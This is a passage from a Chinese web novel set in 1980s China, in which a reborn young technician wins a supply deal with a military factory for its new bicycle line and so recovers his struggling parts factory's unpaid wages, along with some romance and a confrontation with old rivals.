朱厂长笑呵呵地赶忙从暖水壶里倒了两杯水,一杯递给李曼波,一杯递给杜国强,“八零厂肯定是无比重视咱们和港商这次的合作机会,关于自行车的讨论也只是商量商量么。”
“没什么商量的余地。”李曼波冷哼一声,不紧不慢地从沙发上站了起来,对杜国强道,“杜先生,我看你的年纪并不算大,估摸着也就是十多岁的样子吧。”
杜国强点了点头:“我才初中毕业没多长时间。”
“初中毕业?”李曼波又笑了几声,转而说道,“内地现在的教育资源很是匮乏,初中毕业就已经在工厂里各方周旋。若是在香港,你这个年纪的人,多半在学校里的生活才度过一半。”
“虽说学校是进入社会前的**塔,但确实是个长见识的地方。我自认不才,在港岛只能算个资质平庸之辈,却也读完大学,在亚洲知名的商业公司工作过。”
李曼波顿了顿,语气带着轻蔑,“你我之间的认知水平孰高孰低,想必无需再多言吧。杜先生和我的投资意见孰轻孰重,朱厂长你可要考虑清楚。”
杜国强却淡淡一笑,道:“李先生,大学教育固然好,我也很向往,日后若有机会定会向你学习。但您若硬把学历和见识划等号,我可不敢苟同。”
“见识可不等于良心。”
“你们只想着让八零厂做附属工厂,生产低端产品短期获利。”杜国强平静道,“可八零厂未来的利益呢?等内地全面开放,民品市场受冲击,这几百号员工的命运该何去何从?这些,李先生你想过吗?”
李曼波脸色发白的嘴硬道:“这点......公司自然会想到的。”
杜国强和朱厂长一下便听出了他在糊弄,玛睿公司根本没有这么长远的计划!
朱厂长皱起了眉头。
商人逐利本无错,但国营工厂的担子不同。
八零厂几百号人的生计,加上背后的家人,上千人的生活都压在转
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型上。
朱厂长虽说现在有些急得焦头烂额,可并没有到要解散八零厂的地步,这还是国家的重要资产,享受地方补贴的。
俗话说得好,瘦死的骆驼比马大。
先前杜国强那一番话其实让朱厂长有些动容了,的确,做民品生产锅碗瓢盆,顶多是短期内能吃成个胖子,时间线拉长注定是饿死。
而做自行车则不一样了,倘若这条路子走通,不一定能变成第二个凤凰牌,但也绝对是有潜力的。
而现在看到李曼波真的没有考虑过八零厂的未来利益,朱厂长恨不得懊恼的扇自己一个耳光子。
李曼波是个人精,一下便看出了局势的变换,没了先前的趾高气昂,有些紧张的询问朱厂长。
“朱厂长,你不会真的放弃和我们玛睿公司合作的机会吧?”
“李先生和玛睿公司合作是我们内地工厂的荣幸,只是还有很多细节我们没有讨论清楚,我觉得有些地方还是得在商讨商讨。”
李曼波感觉出了朱厂长话语中淡淡的疏远感,合作的事情八成是走远了。
他深吸了一口气,憋了一肚子的火道:“看了朱厂长心有所属了,那算我李曼波给八零厂添麻烦了。”
“哎,李先生言重了!”朱厂长立刻堆起笑容,未来合作的机会多着呢!这次是八零厂对不住,改日我一定亲自登门赔罪。”
等送走李曼波,关上门的瞬间,朱厂长脸色骤变,低声骂道:“小赤佬,真把我们八零厂当吸血机器了!我看这李曼波就是想做一锤子买卖,根本没考虑厂子的未来。”
杜国强疑惑道,“朱厂长,你为啥只怪他,不怪背后的公司?”
朱厂长无奈叹气:“玛睿公司确实是想回馈祖国才来投资的,可全权让李曼波负责,连投资计划都是他定的。我本以为他来自世界型公司,建议总能信,现在看就是个半吊子。罢了……”
说着,朱厂长在办公桌翻找起来,很快摸出一张蓝白色的硬质名片。
他盯着上面的烫金字体看了几秒,将名片平铺在桌上,拿起座机拨号:“我直接给玛睿公司老总打电话说明白。”
杜国强的目光不经意扫过名片,除了电话号码,上面一个名字赫然入目——竹青莲。
第8章 展现能力
“竟然是竹青莲!”杜国强内心一震。
竹青莲这个名字,他并不陌生,甚至在后世,他还和对方打过几次照面。
杜国强为国家引进科技专利、与外国进行磋商时,有几项关键内容,正是靠竹青莲从中拉线搭桥,对方帮了他不少忙。
直到此刻,杜国强才彻底想起来,李曼波口中的玛瑞公司,便是竹青莲家的家族企业,赫赫有名的亚洲金融公司。
杜国强顿时陷入深思,他知晓竹青莲的一些喜好,对方对内地很有感情,投资了不少国内的企业。
“这倒对我是个机会!”
杜国强喃喃自语道。
如今他一无地位,二无钱财,想要干出一番大事业,有些艰难。
若是能联系到竹青莲,争取她这位“港资”的支持,许多发展阻碍必然会迎刃而解。
毕竟在80年代,带有投资意向的港资商人,在各级政府眼中都是极为珍贵的合作伙伴。
杜国强思索一番后,试探地询问刚刚结束电话的朱厂长:“朱厂长,这个玛瑞公司的主管人,我听说是个很年轻的女孩?”
朱厂长爽朗地笑了笑,道:“确实是这样。说起来,对方的年纪也仅仅比你大一些罢了。”
“真是时势造英雄啊!想来,即便是在港岛那种竞争激烈的地方,一个女生能闯荡出一番名堂,即便有家里的帮衬也实在不容易。”
朱厂长毫不吝啬对竹青莲的赞赏,继续感慨,“这种人才若是能引进到我们内地,肯定能帮着国家解决不少困难。”
说到兴起处,他瞥见杜国强神色有些异样,这才轻咳一声补充道,“当然,你也是不差的。”
“这也太敷衍了吧?”
杜国强嘴角不自觉地抽了抽,满脸无奈。
可他又不得不承认现实——自己不过是个初中毕业的技术员,拿什么和金融圈呼风唤雨的大佬相比?
“我刚才同竹女士通过电话,她虽然对我们突然改变转型方向这件事感到不解,但我们若是能拿出能够说服她的理由的话,她也同意让李曼波配合我们对投资方向进行一定的改动。”朱厂长眼角藏着笑。
对八零厂而言,最理想的结局,是既能争取到港商的技术与资金投资,又能在一个经得起长期考验的行业中扎根发展。
“所以,我们现在要做的,就是证实咱们有生产自行车的能力,尽快拿出成品,送到港岛,给竹女士看看。”
朱厂长望向杜国强道,“小杜同志,你既然是自行车配套厂的技术员,平日里少不了和各地区的自行车厂打交道。有没有私下的关系,能帮我引荐几位专家?”
杜国强一听,便明白了朱厂长这是打算“挖墙脚”。
不够光彩,不过对于一个想要转型的企业来说人才挖掘是加速转型的有效方式之一,这也是后世的一些大企业司空见惯的手段。
杜国强点头道:“我跟咱们省三阳自行车厂的几位技术员有联系方式,回头我把这些联系方式都发给您。”
“好,等我联系到这些人,马上让他们来指导生产。”
朱厂长作为实干派的退伍军官,他胸腔里还奔涌着当兵时的热血,一想到这事能让八零厂向前跨一大步,恨不能立刻撸起袖子开干。
杜国强思索片刻,道:“就算我把这些人的联系方式给您,等安排妥当,他们到八零厂至少也得一个月后。倒不如先让厂里的师傅们配合我,着手研制工作,等专业人员来了,再细化分工、推进具体事务。”
“配合你?”朱厂长愣了一下,随即尴尬地笑了笑,“小杜,要不还是多等些日子准备准备吧。”
杜国强明白朱厂长是担心他的能力。
毕竟以一个十六七岁孩子的能力,想要掌握整车制造工艺确实难以让人信服。
但杜国强现在实际上是一个拥有几十年从业经验的老工业人,这点事难不倒他。
他没有反驳,而是开口询问朱厂长。
“朱厂长,您这儿有纸笔吗?”
朱厂长有些疑惑,不知道杜国强想干什么,但还是点点头,从桌上抽出一张纸和笔递过去。
杜国强接过后,一边熟练地用笔在纸上勾勒几何线条,一边解释道:“咱们国家自行车制造的难点,在于工业底子薄,很多精密零件生产能力跟不上。但八零厂有德系机床,这反而是超越其他车厂的优势。
“现在关键的问题有两个,一是得先找到供应自
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行车钢材的上游商家。这点对于您这种耗钢量很大的军工厂,估计不算难事。”
“第二点,也是事关八零厂能否造车成功的因素,设计一款足够亮眼的车型,国内的凤凰、永远的样式有专利保护,八零厂难以模仿,您不妨看看我画的这个样式。”
朱厂长疑惑地接过纸,目光刚触到纸面便猛地一怔。
杜国强画的自行车样式清晰得惊人,每个零件的结构都勾勒得细腻入微,单看外观就比街上流行的车型超前一大截。
“这、这是什么型号的车?”朱厂长盯着图纸,声音都带了些颤。
杜国强指尖敲了敲纸面,唇角微扬:“这是我自己琢磨的样式。”
这车款不过是他从后世记忆里随手扒来的,来源于九五年,荷兰一家自行车厂公开的设计图纸。
虽然不是后世那种卓越的新款,但放在八十年代的国内,这种设计也足以让所有老牌自行车厂惊掉下巴。
朱厂长反复盯着设计图看了好几遍,才压下眼底的激动,苦笑着摇摇头:“是我有眼不识泰山了,小杜同志。看来你在自行车上的造诣,远超我的想象。”
“好,既然如此,那就麻烦你这阵子带着厂里的师傅们赶紧把这辆车做出来,也好让玛瑞公司的竹总看看咱们的实力!”
“至于报酬,我给你我能给到的顶格——按专家级别算,每天15元,你看怎么样?”朱厂长目光灼灼地望着杜国强,语气里带着不容置疑的诚意。
“每天15元?”杜国强品出了一些不一样的东西。
这在80年代可是能让人眼红的高薪,朱厂长会这么大气?
杜国强想了想,开口道:“多谢朱厂长关照。不过除了薪水,有件事得先请您答应。我希望八零厂能和我们安阳自行车配套厂签个协议。要是八零厂自行车研制顺利,准备量产,至少在车把、车座和车胎这三个部件上,采用我们厂的配件。”
朱厂长眼里顿时闪过一丝迟疑,摩挲着图纸边缘缓缓开口:“这样怕是有些不太妥当吧?咱们还得综合考量供应商的资质......”
果然,杜国强淡笑了一下。
这老狐狸,果然盘算的这一点。
第9章 再见前人
先前初次见面,杜国强就单刀直入,要求八零厂将安阳自行车配件厂列为优先供应商。
可此刻朱厂长只字不提这茬,抛出每天15元的高薪,分明是想用真金白银让迷惑自己。
至于目的,杜国强也门儿清——做军工厂的哪个手里没有些人脉?
像安阳这样的区属配件厂,生产的配件没什么太大难度,很多厂子都能造。
再加上,他们厂平时和八零厂也没什么往来。
若是挑选供货商的话,朱厂长肯定优先选择自己的嫡系。
“莫非朱厂长是忘了先前答应的事?”杜国强语气平静道。
朱厂长清了清嗓子,眼神不自觉地闪躲:“哪能忘呢?只是小杜同志,你得体谅我们八零厂的难处。咱们是军工企业,现在多少军工厂都在搞转型,好些还是我老战友的厂子。他们要是也想供应配件,我不帮衬一把,于情于理都说不过去。”
“这样吧,你也别在安阳当技术员了,来八零厂。一样的岗位,我保证,凭你的本事,3年内让你当上技术科副科长,将来接我班都有可能。”朱厂长话语一转,诱惑道。
八零厂作为国营大厂,平台资源远超安阳厂,对一般人来说似乎是个不错的选择。
但对杜国强则不一样,军工企业规矩森严,他在里面很难做自己的事。
而这一世,他怀揣着改变全国工业的野心,区区副科长、厂长之位,哪里能撼动他的野心。
杜国强拱手一笑,语气疏淡却透着坚决:“多谢朱厂长抬爱,只是我在安阳待得惯,也没什么大志向,就不掺和八零厂的发展了。”
“要是朱厂长觉得先前的约定不作数,也没关系——这些只是个人建议。但图纸是我的私产。既然贵厂无意合作,我只好交给老主顾三阳自行车厂,相信他们会乐意采纳的。”
话音未落,杜国强伸手便要拿图纸。
朱厂长慌忙将图纸护在怀里,像护着命根子:“你这是干啥!”
他虽不懂技术,却也看出图纸的分量——就凭这超前设计,八零厂定能从那些老自行车厂嘴里抢下市场。
权衡利弊,朱厂长咬牙跺脚:“得得得!!以后安阳给八零厂做配套,这总成了吧?”
“空口无凭,得立字据。”杜国强道。
朱厂长又气又无奈,直摆手:“行行行,都依你这小祖宗!只要图纸留在八零厂,帮我们把自行车造出来,什么都好说!”
最终,朱厂长只得地拟好协议,郑重的盖上八零厂公章,将口头约定化作白纸黑字的法律文书。
杜国强这才展眉笑道:“那就祝咱们合作愉快。”
有了这份协议,安阳厂被挪用的一万多工资窟窿,总算有了填补的希望。
朱厂长无奈伸手,语气里带着佩服:“小杜同志,我算是彻底见识到你的本事了。”
“你什么时候能来指导厂里的老师傅?”
杜国强沉吟片刻:“后天吧。这两天我得处理些事,也正好把制造自行车的细节再捋捋。”
朱厂长爽快点头:“行!需要支持尽管开口!”
虽然朱厂长心里头恨不得立刻把杜国强拴在八零厂车间,没日没夜地把自行车造出来。
可他也明白心急吃不了热豆腐,眼下厂子能不能转型成功,全指着杜国强的设计和技术。
人家既然说这两天有事,就算心里再着急,也只能咬着牙忍上一两天了。
与朱厂长握手作别后,杜国强脚步匆匆,直奔刘静怡所在的女职工宿舍。
在他看来,与八零厂敲定合**议,安阳厂的燃眉之急已解去大半,剩下的收尾工作不足为惧,那些**的工人想必也掀不起风浪了。
还未到宿舍楼下,远远便望见一圈人挤在那里,嘈杂声此起彼伏。
“这是出什么事了?”杜国强心里一紧,加快脚步冲过去,侧身挤进人群。
待看清眼前景象,他脸色瞬间阴沉下来——刘静怡正被几个人拽着胳膊,挣扎间头发凌乱,而领头的赫然是之前被他教训过的大胡子!
杜国强拨开围观人群,声音
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冷得像冰:“杨凯,骨头挺硬啊?上次没打够是吧?”
说着将刘静怡拽到自己身后。
“忘了老子说的什么了吗?再敢动她一根手指头,老子拿棒槌砸烂你脑袋!”
就在这时,一个女人从杨凯身后走了出来,开口对杜国强道。
“国强哥,你和刘静怡啥关系,你咋护着她呢?”
这女人五官不算惊艳,却巧梳了两条麻花辫,增添几分青春的气息。刘海整齐前梳,胸前的衬衫扣子有意解开一颗,白皙的肌肤若隐若现,透着股刻意的妩媚。
杜国强瞳孔猛地一缩,这张脸瞬间勾起了他的回忆——竟是杨芸!
这个前世把他当奴仆一样用着的女人!
前世,杜国强和刘静怡虽互有好感,却都因性子腼腆始终隔着层窗户纸。
反倒是杨芸变着法儿勾搭他,把他迷得晕头转向。
他为这女人做了不少荒唐事,甚至听信她的挑唆跟家里**,断了对老母亲和两个妹妹的供养。
辛苦挣来的钱,全被杨芸拿去买进口时装。
花钱大手大脚的杨芸,杜国强根本养不起。
眼见从杜国强身上捞不着钱,杨芸转眼就把杜国强甩了,嫁给开公司的老板。
直到那时,杜国强才醒悟——自己不过是杨芸鱼塘里,那条随叫随到的“舔狗”。
竟然这么快又让自己遇到了这女人。
杜国强心里冷笑。
上辈子被这女人耍得团团转,重活一世哪还会栽在她手里?
那边杨芸却浑然不觉,扭着腰肢凑上前,声音甜得发腻:“国强哥,你是不是不喜欢我啦?怎么护着刘静怡那个闷葫芦呀?”
她故意眨巴着眼睛,解开的领口又往下滑了半寸,嗲声嗲气道:“我表哥杨凯,到现在还打光棍呢。刚好刘静怡她爸欠我哥三个月工资,我琢磨着……不如拿这笔钱当彩礼,把刘静怡说给我哥当媳妇。”
她歪着头看向杜国强,眼尾故意往上挑,“国强哥,在这件事上,你肯定会帮我的,对吧?”
第10章 有点不对劲
杨芸算不上厂花。
她比不起让男人趋之若鹜的刘静怡。
即便在普通女工里,铺上浓妆的她也不过中等姿色。
但她深谙利用自身优势之道。
男人那点心思,她看得通透。
想让男人办事很简单,不过是大腿坐坐、身子蹭蹭,他们就会变成只用下半身思考的动物。
至于清白?又掉不了一根**,怕什么清白。
凭借这股豁得出去的劲儿,顶着小学学历的杨芸,硬是在安阳混的风生水起。
然而,她心里清楚。
无论自己手段多狠,在刘静怡面前都讨不了好。
只要这美人勾勾手指,无数男人便甘愿拜倒裙下,根本不用在男人面前卖肉。
这份落差,让杨芸看刘静怡愈发不顺眼。
正巧刘静怡因工资之事落下劫难。
杨芸逮住机会,暗中撺掇工人,妄图将她塑造成下三滥的女人,彻底败坏名声。
本来,一切是按她的计划进行的。
可谁能料到,平日里唯唯诺诺的杜国强竟突然站出来。
这差点没把杨芸肺气炸,她不死心,又叫上了厂里的几个流氓混混,带人来到八零厂,想要整刘静怡。
虽说杜国强这小子还在这里,但杨芸相信只要自己一句话,这小子便得灰溜溜地滚到一边去。
甚至让他跪下来舔自己鞋子都没问题。
毕竟,这小子可是很听自己话的。
想到这,杨芸嘴角微微扬起,发出淡淡的冷笑。
然而杜国强那冷若冰霜般的双眸却让杨芸身子忍不住一颤。
这小子,今天咋好像有点不对劲?
眼下的杜国强不像是过去的那个穷酸书生,倒像是一位大领导,浑身上下透露着上位者的从容。
不可能,一定是自己想多了。
杨芸吞咽了一口口水道:“国强,你这么盯着我看干啥?看得我怪害怕的。”
她下意识地利用起了自己的“优势”。装作可怜巴巴的样子,轻轻拉住杜国强的手臂,有意无意地让杜国强的大臂划过自己胸前轻柔布料。
杨芸对这招再自信不过了,对于从学校里出来没几年、还没尝过异性滋味的雏儿,一点点暧昧便能让他血脉偾张。
不过这把戏在如今的杜国强来看,有些拙劣。
他戏谑地看向杨芸:“杨芸,缺男人了?咋抱着我的胳膊就往你胸上蹭?”
“你……你胡说什么!”
杨芸顿时脸色发白,她万万没有想到杜国强竟然会将自己给他的私人奖励如此说出来。
周遭人声嘈杂,八零厂前来看热闹的工人不少,再加上杨芸带来的那几个流氓混混,一群人顿时笑成了一锅粥。
女同志们不好意思地低下了头,有几个后生还对着杨芸吹起了流氓哨。
就算杨芸平日里靠拿捏男人谋利,此刻也经不起这般羞辱。
杜国强嘴角扬起,道:“我怎么胡说了?分明是你自己靠上来的嘛。不信你让其他同志试试,罩衣都没穿。”
周遭顿时传来一片哗然。
这年头哪有什么女性自由解放的思想,人人都保守得很,不穿罩衣出门,怕是不用别人提醒,自己都没这个胆量。
可眼下,杨芸却做了一件在场女性都不敢做的事情。
杨芸脸红到了耳朵根儿,差点没气炸,急忙辩解道:“我穿了……你……莫要瞎讲。”
可惜周围没人相信她。
人潮拥挤中,她能清晰分辨出几道声音钻进耳朵,格外刺骨“真骚啊”、“嘿……早看出来不是什么好玩意了。”
他人的羞辱让杨芸怒火冲天,她何时被人这么羞辱过?
“杜国强,你踏马今天疯了?”
这混账,今天得狂犬病了?怎么连自己都咬?
“起码比你正常。”
杜国强没再理她,甩开她,冷笑着走到杨凯面前:“你缺媳妇?”
杨凯内心发怵,猛地想起之前这小子跟开了挂似的把自己揍了一顿,下身的痛感还若隐若现,本能想躲,可被众人盯着又怕丢面子,只能硬撑:“是又咋样?他爹欠老子钱,老子就要让他当媳妇!有本事你别踢……”
话没说完,杜国强一脚
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狠狠踹向他的命根子。
“**!”
杨凯疼得差点把眼珠子瞪出来,“噗通”跪地上动弹不得。
杜国强斜眼扫向其他城里来的流氓:“谁还想试试?”
众人吓得齐刷刷往后缩,生怕挨上同样的“待遇”。
杜国强冷冷道:“告诉你们,刘静怡是老子护着的,别来找不痛快。”
“杜国强,你为啥这么护着她?”杨芸脸色铁青地杵过来,手指戳向刘静怡的脸,“想替她出头?那好啊,有本事你就把厂子里工人的钱掏出来,补上这个窟窿!”
听到杨芸的话,一旁的刘静怡心头猛地一痛,眼角瞬间泛起泪痕。
她像只受伤的兔子,声音细若蚊蝇:“杜国强,你……你走吧,管我了。一万多块钱,你没办法的……”
“放心,有我,谁动不了你。”
杜国强扬起右手中的协议,朗声道:“不就是工资吗,老子办妥了!”
“真是工资单?我看看。”
众人急匆匆的抢过单子,却发现只是张订货协议。
“这他妈哪是钱啊,杜国强,这不是订货协议吗?”
几个人愤怒道:“杜国强,我们要钱,你弄张订货协议干什么?”
杜国强慌不忙道:“这东西就相当于钱。”
几人满脸不信,死死盯着那张供货协议翻来覆去查看,气得脸色涨红:“你莫不成把我们所有人当傻子耍?这他妈只是张供货单,还是试制产品!上面白纸黑字写着,要是研制不顺利,人家有权不要货。——哼,八字还没一撇的事儿,能顶个屁钱?”
“对你们来说,这东西自然派不上用场,我也懒得废话。”
杜国强淡淡道:“娄希顺现在在哪?”
娄希顺是目前安阳的领导,兼任自行车配件厂副厂长与厂**双重身份。
“**在厂里。”
厂里刚刚出了大事故,娄希顺此刻正忙着在厂里安抚工人、维持生产秩序。
杜国强道:“去,你们把这东西摆在他桌上,他自然知道该怎么把钱弄回来!”
……
第11章 有救了
娄希顺最近眉头拧成死结,厂里的烂摊子快把他逼疯了。
刘占福捅下篓子后畏罪潜逃,按理说没了分权对手,他这个厂**能大权独揽,可这窟窿实在太大,直接把安阳自行车配件厂推到了生死边缘。
就像悬在阎王爷眼皮子底下晃悠。
工人们在厂区聚众****,上级领导的电话每时辰至少五六个,搅得他焦头烂额,恨不能立刻跑到后山庙,对着观音菩萨烧香磕头求化解。
“**!”马秘书火急火燎撞开办公室门,额角沁着冷汗,“一号车间的李建祥闹疯了!他媳妇马上要临盆,家里穷得叮当响,非要厂里立刻支20块钱。他放狠话,要是不答应,就把媳妇直接抬到厂门口接生!”
娄希顺满脸涨紫,太阳穴突突直跳,扯着嗓子骂道:“**!让他去生!实在不行,老子这个**去给他接生!”
“想从账上支钱?但凡账上还有一分钱,我娄希顺把名字倒过来写!”
骂归骂,这火他只敢冲着秘书发。
眼下工人本就憋着一肚子气,他要是再嚷嚷两句,保不准有人跳出来跟他对着干。
秘书怯生生地问:“那……我去跟他说让他去生?”
“生个屁!”娄希顺狠狠瞪了他一眼,无奈长叹:“接着做做思想工作!跟他讲清楚厂里的难处,就说等上面拨款下来,第一个给他发钱!”
秘书忍不住低声问:“娄**,咱们真能等到上级支援吗?这事儿都闹多少天了,区政府那边连一分钱都没拨下来……”
娄希顺心烦意乱地摸出根“大前门”,办公室很快烟雾缭绕。
他何尝不知道区政府的难处?
各地都在搞经济建设,每分钱都得花在刀刃上。区政府垫上工资,工人是不闹了,可一万多块的损失谁来补?
之前厂里没少麻烦区政府特殊照顾,如今这烂摊子,他实在拉不下脸再去求人。
正心烦意乱时,办公室外突然响起杂乱的脚步声。
“砰”一声,房门被撞开,几个厂里出了名的“二溜子”闯了进来。
娄希顺蹭地从椅子上弹起,狠狠一拍桌子,声如炸雷:“反了天了!敢到我办公室**?”
刚从八零厂跑来、满脑子等着拿工资的几人,被这通怒斥浇了个透心凉。
领头的二溜子干咳一声,硬着头皮说:“**,是杜国强让我们来找您的。他说今天厂子肯定能发工资,让我们来这儿等着。”
“杜国强?”娄希顺愣了一下。
他倒是对这人有印象,来厂不到一年的技术员,能力中庸,平日里看着老实本分,可没想到他居然敢给工人吹“能发工资”的牛皮。
娄希顺眉头瞬间疙瘩,冷笑一声:“杜国强在哪?把他给我带过来!我倒要看看,这小子怎么胡咧咧!”
这话让几个二溜子瞬间蔫了。
有人低声嘀咕:“我就说那小子在诓人吧!一张生产订单就能换钱发工资?咋可能嘛……”
“等等!”娄希顺察觉出来了一丝不对劲,叫住那人,“你说什么生产订单?”
“就杜国强跟八零厂厂长签的单子呗。”牛二撇着嘴,“说是八零厂要做自行车,请咱们研制配件,只是一个试订单,他非说能换钱发工资。”
“单子呢?把单子给我!”娄希顺开口问到。
二溜子们慌忙掏出张皱巴巴的纸:“先前杜国强给我们的,就是这个……”
娄希顺一把抢过协议,目光扫过几行字的瞬间,忍不住深吸了一口气:“有救了!安阳厂这回有救了!”
没人比他更清楚这张订单的分量。
其实区政府也想拉厂里一把,缺的就是个名正言顺的由头。如今有了这张订单,区政府就能以“扶持生产”的名义拨款。
几个二溜子磕磕巴巴地问:“书、**,杜国强那小子没吹牛?这破纸真能换钱发工资?”
娄希顺点头笑道:“这小子立大功了!”
“我现
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在就去区政府,让区长牵头跟八零厂核订单!要是真的……”他爽朗笑道:“安阳厂就算从鬼门关爬出来了!”
“小马,去车库把我自行车推出来!”娄希顺一把抓起桌上的订单,冲着秘书道,“我现在就去区政府要工资!”
秘书小马慌忙应着“我跟您一块去”,顺手抓起公文包。
两人风风火火冲出办公室,把几个愣在原地的二溜子甩在身后,只留下满屋子没散的烟味和半开的房门在风里晃荡。
“真能发工资了?”
几人对视一眼,旋风般冲出办公楼。
二溜子们做人虽不靠谱,传消息的本事却像装了扩音器。一钻回车间,嘴就跟上了发条似的停不下来。
“嘿!娄**拿了杜国强的订单奔区政府了!说是给咱们要工资。”
“真的假的?”
“骗你我是狗!**说要是订单靠谱,工资马上就发!”
这消息像长了翅膀,顺着车床轰鸣和机油味往各个车间钻。
不到一小时,安阳厂百十来号工人的耳朵里都灌进了这话。
车间里的车床声都盖不住工人的议论。
厂里众人交头接耳,满脸都是激动。
三个月的工资,真要发了?
杜国强这小子还真是神了啊!
……
当杜国强优哉游哉地带着刘静怡晃回厂里时,众人对杜国强的态度来了个一百八十度大转弯。
这种变化几乎肉眼可见——原本爱搭不理的工友老远就笑着打招呼,几个平时横眉竖眼的二溜子也凑上来递烟,眼神里满是讨好与钦佩。
“国强哥!”
几个曾跟着秀花**的二溜子主动围上来。杜国强见状,唇角勾起笑意:“怎么说?娄**去区政府要钱了吗?”
“去了,去了!”
几人忙不迭点头,其中一人满脸佩服,挠着头问:“国强哥,你还真是神了!就一张市里头的生产订单,咋就能从区政府换来钱呢?”
第12章 这是给你的奖励
“很简单,自然是有利可图。”
杜国强笑了笑,也不觉这是什么大事,道:“区政府不是傻瓜,说白了,咱们仅仅也只是局里的一个企业,人家需要帮扶的对象多了去了。若是一直只赔不赚的话,人家自然也想甩掉安阳厂这块烂肉。”
“一旦有安阳有了新订单,他们就又有了救安阳厂的理由。”
“可是你这张订单明明连生产数量都没有,万一人家八零厂到最后不做了呢?”
有人满脸不解地问道。
杜国强又解释道:“其实区政府关心的不是这个订单到最后能不能成。他们看中的是八零厂这个部属军工厂。”
“生意成了,好,他们自然高兴,安阳厂多了一条路子。”
“但要是败了也无所谓,他们完全可以将责任推给八零厂这个部属的军工企业。回头向市里报告损失时,也算是有了正当理由,说不定还能借此从市里要来更多的资源。”
“原来如此!”
众人听了杜国强的解释,纷纷恍然大悟,同时又深切感受到他的深谋远见。
一个小混混竖起大拇指,满脸佩服:“国强哥,我算是服了!以后在咱们厂,你说一,我们绝对不说个二字!换了我们,哪能想出这么绝的法子?”
“国强哥!等工资发下来,我请你吃饭!”
围在杜国强身边的人越聚越多,称赞声此起彼伏。
工人们早没了做工心思,眼巴巴地等着娄**从区政府带回好消息。
煎熬的时光不算漫长,远处突然传来清脆的车铃声。
众人定睛一看,身材肥硕的娄**正和秘书小马一前一后骑着自行车,风风火火地拐进厂区。
两人满面红光,尤其是秘书小马,死死用手护着斜挎包,生怕里头装着的东西有半分闪失。
“**,是要发工资了吗?”
人群里有人扯着嗓子问。
娄**轻轻点了点头:“去通知全厂人开大会——发工资!”
话音落下,厂区瞬间爆发出欢呼。
整个厂区敲锣打鼓,欢呼声震得厂房玻璃嗡嗡作响,热闹劲儿比过年还足。
杜国强笑着侧头看向刘静怡:“咋样?现在信了吧?我早说过没问题。”
真的把这笔债还完了?
刘静怡喉咙发紧,她慌忙擦掉滚落的泪珠,声音带着颤:“谢谢……”
这话轻飘飘的,却藏着千斤重。
只有她自己知道,这段日子心里压着多大的石头。
卷走全厂工资的是亲爹,她从人人巴结的厂长之女,一夜间成了众人唾弃的对象。那些异样的眼光、刺耳的议论,像密密麻麻的针,扎得她喘不过气。
幸好有杜国强在背后帮她解决麻烦。
若不是他,自己恐怕早已被唾沫星子淹没。
情绪翻涌间,她猛地张开手臂扑进杜国强怀里。
杜国强身子一僵,怀里温软的触感让他心尖发烫,慌忙压下乱蹿的念头,舔了舔嘴唇笑道:“刘静怡——要不你跟我处对象吧?”
怀里的人陡然一僵,刘静怡猛地退开半步。
杜国强见状忙摆手:“是我唐突了?那当我没说……”
“不是……”她声音细若蚊蚋,指尖绞着衣角,“只是……再给我几天缓冲时间,我要平复一下心情。”
她话没说完,脸颊已红透成霞。
“你不是说这两天要回乡下看家人吗?”
刘静怡咬着唇道,“等你回来我请你喝酒,到时候给你答案。”
“喝酒?”杜国强愣了神,挠头苦笑,“我酒品可不好,怕喝完胡来……”
“我不信。”
刘静怡眼里水光潋滟:“就这么定了,我等你。”
说完她便转身离开。
杜国强望着她的背影直摇头——他真没说假话。
之前眼下这具身子的酒量只有一两半,喝酒后经常做蠢事。
真怕喝酒的时候作出一些有的没的。
他瞅着刘静怡跑远的背影,估摸着处对象这事十有**能成。
两人本就互有好感,加上这次帮她解了**烦当“催化剂”,天时地利人和全占了。
正当杜国强转身要往会议室走时,身后突然传来声如洪钟的喊声。
“杜国强!”
他回头一看,只见娄**和秘书小马把自行车往路边一丢,娄**的肥脸涨得通红,额头上的汗珠顺着皱纹直往下滚。
“娄
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**。”杜国强冲娄希顺打了声招呼。
他对这位**印象不深,只隐约知道对方能力挺强——前世这人在厂里干了两年就调去了区委,后来更是一路升到省厅,算是厂里的一匹仕途黑马。
娄希顺喜笑颜开地握住杜国强的手:“年轻人不简单啊!这次厂子可算借了你的光。我在区委听区长给八零厂打电话时,朱厂长直夸你有远见,说你帮八零厂指明了发展路线呢!”
杜国强道:“娄**严重了,这不算啥大事。”
“这要都不算大事,我这**也别当了。”
他拍了拍杜国强的肩膀:,“别谦虚了,你这次实打实给厂里立功了,我记在心里呢。”
娄希顺摸着下巴沉吟道:“现在刘占福那王八蛋回不来,厂子里的事我还能说了算。你现在是初级技术员吧?”
见杜国强点头,他接着说:“三个月内,我帮你评上中级技术员,再让你当一车间技术组组长,你看咋样?”
“中级技术员?”杜国强心里咯噔一下,没想到娄希顺开口就是这么大的提拔。
按厂里规矩,刚转正的初级技术员想往上爬,没三五年根本别想。多少老技术工熬白了头,最高也就是个中级职称,自己这才参加工作多久,眼看就要摸到别人一辈子的天花板了。
杜国强心里算盘打得飞快:升中级技术员后,工资能从45元涨到至少60元,还有不少隐形福利。这等好事哪有拒绝的道理?
他当即拱手道:“那我就多谢娄**了!”没半句客套推脱。
娄希顺满意地点点头,拍了拍他的肩膀。“小马,把斜挎包拿过来。”
娄希顺朝马秘书摆摆手。
待小马将包递上,他打开抽出20张“大团结”,塞到杜国强手里:“这是给你的奖励,先拿着应应急。往后好好干,厂里不会亏待有功之人。”杜国强手一僵,连忙推辞:“娄**,不是说开大会发工资吗?”
“这不是工资,是奖金,工资一会才发。”
娄希顺把钱硬塞进他手里,笑得眼睛眯成缝,“是区长特意让我给你的奖励!他夸你脑子活、有担当,让你给厂里做个好表率呢!”
第13章 这担子我挑了
200块属实不是一个小数字了。
放在农村的一些普通家庭中,这几乎是一年的开销水平。
要说先前娄希顺给杜国强涨工资,杜国强只是略微有些震惊。
那这200块现钱,确实让他感到有些手烫了。
这哪里是奖励?
分明是个烫手山芋,是军令状。
区长是指望着他在和八零厂签下初步订单之后,彻底的将这门生意给保住。
要不说人家是区长呢?
这水平就是高,不动声色,便把这个天大难题给自己绑**。
杜国强往后退了一步道:“娄**,这200块,我怕是担不起呢。要不你还是退回去吧。实在不行,把这钱给厂子里的大伙发了。”
娄希顺道:“这哪成!这是区长特意交代的,你不收,我咋跟上面交代?”
说着他硬往杜国强手里塞钱。
这老狐狸心里算盘打得精,他何尝不盼着杜国强能扛起这担子——只要生意成了,厂里有了政绩,他脸上也跟着有光。
